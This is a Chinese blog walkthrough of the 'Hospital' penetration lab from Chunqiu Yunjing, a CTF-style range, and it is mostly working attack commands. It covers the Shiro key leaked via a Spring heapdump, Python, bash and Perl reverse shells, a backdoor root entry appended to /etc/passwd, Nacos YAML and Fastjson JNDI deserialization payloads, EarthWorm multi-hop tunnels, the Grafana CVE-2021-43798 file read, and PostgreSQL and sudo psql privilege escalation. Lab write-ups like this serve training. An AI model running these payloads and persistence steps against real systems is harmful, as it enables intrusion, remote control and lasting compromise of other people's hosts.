春秋云镜-Hospital

春秋云镜-Hospital

查看kali的IP地址: ifconfig

攻击机IP:192.168.111.128

靶机ip:39.98.110.102

互联网侧 39.99.128.63 heapdump文件泄露+shiro反序列化

172.30.12.0/24 172.30.12.5 入口机

172.30.12.0/24 172.30.12.6 Nacos yaml反序列化

双网卡主机 172.30.12.236 Fastjson反序列化

172.30.54.0/24 172.30.54.179 Grafana任意文件读取

信息收集

端口探测

-sT:以TCP协议进行扫描

--min-rate 10000:以最低10000的速率

-p-:全端口

扫描端口:

nmap -sT --min-rate 10000 -p- 39.98.110.102

fscan扫描

./fscan -h 39.98.110.102

Goby扫描

使用Goby扫描器进行扫描

无影扫描

Nuclei PoC Found: http://39.98.110.102:8080 springboot-heapdump springboot-heapdump.yaml

很显然是heapdump文件泄漏

目录扫描

访问8080发现是一个web页面

python dirsearch.py -u http://39.98.110.102:8080/ -i 200

Web1

渗透测试

heapdump泄漏

http://39.98.110.102:8080/actuator/heapdump

访问后成功下载heapdump文件

这里使用JDumpSpider来进行敏感信息搜集:https://github.com/whwlsfb/JDumpSpider

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

这里发现了一个shiro key

algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

shiro一把梭工具利用

检测了下网站,发现确实存在shiro组件,同时找到的key也是正确的

这里直接一键检测利用链,成功利用

这里直接注入了内存马

冰蝎连接shell

权限比较低,尝试提权

找一下SUID权限

find / -perm -u=s -type f 2>/dev/null

这里通过查询,发现vim.basic可以进行提权

反弹shell

这里需要有一个交互shell,冰蝎的虚拟终端打不开,这里反弹一个先
通过测试,发现存在python3环境

准备一台VPS,进行nc监听

执行反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

成功反弹shell

SUID提权

/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

进入root

flag01: flag{95b4509f-7c87-4462-a6bb-9e463b62c27c}

进入root权限,添加个用户备用(hack:1234)

echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd

Web2

内网渗透

上传fscan扫描下内网

先查看一下网络情况

netstat -ano

这里通过冰蝎上传了fscan进行内网扫描

./fscan -h 172.30.12.0/24

发现两个web资产

http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass 
http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台

内网穿透(EW+SocksCap64)

使用冰蝎上传ew_for_linux64,使用EarthWorm+SocksCap64进行代理

先给下执行权限(chmod +x ./ew_for_linux64)

使用正向代理的方式

./ew_for_linux64 -s ssocksd -l 1080

打开SocksCap64

这里使用谷歌浏览器进行访问

发现ew成功响应

Nacos Client Yaml 反序列化漏洞

先打nacos ,访问web2

http://172.30.12.6:8848/nacos/#/login

使用nacos的默认账号密码nacos:nacos登录看到Data id为db-config

这里发现了配置文件中的账号密码

但是并没有好的利用方式

查了下nacos其他漏洞,发现有一个 Nacos Client Yaml 反序列化漏洞
https://github.com/artsploit/yaml-payload
这里改下执行的命令,改成添加用户

修改 AwesomeScriptEngineFactory.java 的内容

Runtime.getRuntime().exec("net user x1ong Ad@admin123 /add");
Runtime.getRuntime().exec("net localgroup administrators x1ong /add");

接着重新打包(这里打包的时候javac版本最好是1.8)

javac.exe src/artsploit/AwesomeScriptEngineFactory.java
jar.exe -cvf yaml-payload.jar -C src/ .

将生成的yaml-payload.jar使用冰蝎上传至入口机,开启python文件服务

python3 -m http.server 9999

我们知道,入口机是172.30.12.5,尝试访问: 172.30.12.5:9999

使用Nacos综合利用工具利用漏洞

先配置socks代理

漏洞检测一下,发现没问题

配置一下,执行

一直没利用成功

这里换了个工具Nacos_Exploit2(也要加个代理) ,通过 sql 注入漏洞注入的冰蝎内存马:

这里使用冰蝎4也能连接(如果连接失败,如果定义一个文件,比如:../nacos/123)

连接成功,使用命令执行窗口

net user x1ong Ad@admin123 /add
net localgroup administrators x1ong /add

远程连接

不管是通过 yaml 反序列化漏洞执行创建用户命令还是通过其他方式注入内存马创建用户,都需要进行远程连接。

使用远程软件挂代理通过 3389 连接即可。得到 flag2。

直接冰蝎也能查看

查看 IP 为单网卡 IP,故而到这里就结束了

Web3

回到上面,看到还有一个web
访问:http://172.30.12.236:8080

抓包看一下,bp开一个socks代理

用bp浏览器打开172.30.12.236:8080,抓包

是以json形式传输数据

抓取登陆的数据包:

fastjson 注入内存马

进行 fastjson 特征探测之后,确定为 fastjson,但是需要进一步获取版本号:

{
  "@type": "java.lang.AutoCloseable"

通过如下 PAYLOAD 获取版本号:

接下来使用工具jndi_tool.jar部署恶意类(在靶机上部署,因为域成员可能不出网),工具链接:https://github.com/wyzxxz/jndi_tool

java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >& /dev/tcp/172.30.12.5/12345 0>&1"

同时在靶机上监听12345端口,待会用于接收shell

然后按如下Payload发包

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://172.30.12.5:1099/Object",
        "autoCommit":true
    }
}

成功反弹shell

查看flag

也添加个用户

echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd

Web4

查看了下发现多网卡

从web01机器上下载fscan扫了下新网段

wget http://172.30.12.5:9999/fscan

扫下新网段

./fscan -h 172.30.54.1/24

发现存在一个grafana
这里需要做多层隧道,这里还是用的ew

在公网vps上执行上执行:

./ew_for_linux64 -s lcx_listen -l 1081 -e 5678

在web01上执行

./ew_for_linux64 -s lcx_slave -d xx.xx.xx.xx -e 5678 -f 172.30.12.236 -g 9799

在web03上执行(wget http://172.30.12.5:9999/ew_for_linux64)

./ew_for_linux64 -s ssocksd -l 9799

这样socks代理做公网vps的1081端口就可以访问grafana了

这里使用火狐进行代理

访问ip

http://172.30.54.12:3000/login

访问发现是一个 Grafana 数据可视化平台。

尝试弱口令admin/admin
成功进入后台

CVE-2021-43798

在印象中该系统是存在漏洞的,经过版本确认,发现可能 CVE-2021-43798。

使用脚本grafanaExp(https://github.com/A-D-Team/grafanaExp)进行漏洞验证,这里我们先将工具上传到进行漏洞验证,这里我们先将工具上传到) web03

wget http://172.30.12.5:9999/linux_amd64_grafanaExp

进行测试

./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000

这里成功发现了postgres的密码

url:[localhost:5432] user:[postgres] password[Postgres@123] database:[postgres]

换下代理,打开navicat

成功连接数据库

SELECT "version"()

查询了下版本

得知数据库为8.1版本,接下来改下root用户密码

ALTER USER root WITH PASSWORD '123456';

搜索相关版本发现

所以我们这里调用相关命令

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

接下来借助命令执行实现反弹shell

反弹Shell

这里反弹到我们的域用户二上,因为他和域用户三是在同一网段下的,我们先监听下它的某个端口。

然后在Navicat上执行指令如下

select system('perl -e \'use Socket;$i="172.30.54.179";$p=12335;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

成功拿到shell

通过python3 -c 'import pty;pty.spawn("/bin/bash")'获取交互式shell

提权

但是目前只是普通权限,需要进行提权,通过执行sudo -l发现psql

参考: https://gtfobins.github.io/gtfobins/psql/

所以接下来登入psql

sudo /usr/local/postgresql/bin/psql
123456
\?
!/bin/bash
cat /root/flag/flag04.txt

成功提权,读取flag

posted @ 2026-04-07 21:07  Afa1rs  阅读(13)  评论(0)    收藏  举报